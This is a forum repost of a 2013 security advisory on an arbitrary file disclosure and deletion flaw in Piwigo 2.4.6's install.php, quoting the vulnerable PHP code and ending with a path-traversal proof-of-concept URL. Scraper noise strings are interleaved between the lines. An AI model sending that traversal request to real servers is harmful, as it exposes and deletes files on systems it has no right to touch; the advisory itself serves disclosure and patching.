中国网络渗透测试联盟
标题:
Piwigo任意文件泄露和任意文件删除漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:15
标题:
Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。
& R d# j8 e v* Q
8 U! W# n: a# v. v8 S4 a
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
0 f/ D6 f/ L8 Y1 l
====================================================================
0 i" G4 V. l. ^
/install.php:
. @" p+ q! g% C; x* A, z
-------------
% |( o* w6 H; d$ E& n, I3 ~0 i
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
! k% y6 ?4 {8 R& H2 g4 ~
114: {
0 t1 i$ }$ o! z$ h# J* ]9 H8 x
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
, U' A' Z, Z8 C$ B
116: header('Cache-Control: no-cache, must-revalidate');
1 B$ L* ]4 s& g8 t" I
117: header('Pragma: no-cache');
1 c) Y5 T6 H0 X$ ^5 f
118: header('Content-Disposition: attachment; filename="database.inc.php"');
% e. O3 i5 d) r0 Z9 i
119: header('Content-Transfer-Encoding: binary');
3 c2 f* n' {. b: k8 v& r; Z
120: header('Content-Length: '.filesize($filename));
0 t! X! ]3 I7 z Z# E
121: echo file_get_contents($filename);
9 f5 d& V) F4 V
122: unlink($filename);
8 m$ S+ I. r& v1 [+ B2 h) ]
123: exit();
2 G6 K+ D. ]& o3 E
124: }
6 J' u* l3 H O, z, i
====================================================================
8 Y: a4 D* E: S
- o3 y/ g9 o) v
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
* ~0 f6 G _) L4 Q8 s7 c, Q
Apache 2.4.2 (Win32)
* F" F: L) ~. k1 w9 t7 @. E$ @
PHP 5.4.4
; g/ M4 k6 X# B5 d" w
MySQL 5.5.25a
. Y/ E/ z7 }: [# f G
) x5 K/ x% R+ F. q
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
7 |$ W" S4 Z) {1 Y
@zeroscience
; t- R, q6 }1 }9 v6 G9 T
' ^+ A' l, V7 t6 o. j+ q# L3 v4 w8 {) P
Advisory ID: ZSL-2013-5127
4 O4 ~1 K/ y. W% }; f9 o4 G8 ~' ^
Advisory URL:
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
+ K% k) n' }2 S; v" A
Vendor Patch:
http://piwigo.org/bugs/view.php?id=2843
( M) T) W" k% ?5 |% V$ @& r
# U) b$ Y& }" ]: k* g, J* f
15.02.2013
+ l* ^# |* p6 a' `
+ [- h7 M& s6 P$ S* e" J
--
/ z! C4 I2 A0 B4 \
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
# C( Z/ d* x' I$ @
# \; w- ~0 d% o9 J6 x6 s. n7 S2 k
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2